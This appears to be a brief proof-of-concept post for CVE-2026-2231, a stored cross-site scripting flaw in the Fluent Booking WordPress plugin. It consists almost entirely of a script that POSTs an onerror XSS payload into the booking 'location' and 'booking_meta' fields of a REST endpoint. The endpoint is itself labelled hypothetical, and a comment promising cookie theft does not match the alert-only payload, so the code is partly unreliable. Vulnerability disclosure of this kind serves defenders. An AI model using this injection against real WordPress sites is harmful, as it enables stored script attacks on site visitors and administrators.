CVE-2026-2231: Fluent Booking插件存储型XSS漏洞

<!-- PoC for CVE-2026-2231: Stored XSS in Fluent Booking Target: Vulnerable parameters in booking submission --> <script> // Simulating a malicious payload injection // Attackers might inject this via the vulnerable booking fields // Example Payload to steal cookies var payload = '<img src=x onerror=alert(1)>'; // Hypothetical POST request to the vulnerable endpoint fetch('/wp-json/fluent-booking/v1/submit', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ 'location': payload, // Injecting into location parameter based on LocationService.php reference 'booking_meta': payload }) }).then(response => console.log('Payload injected')); </script>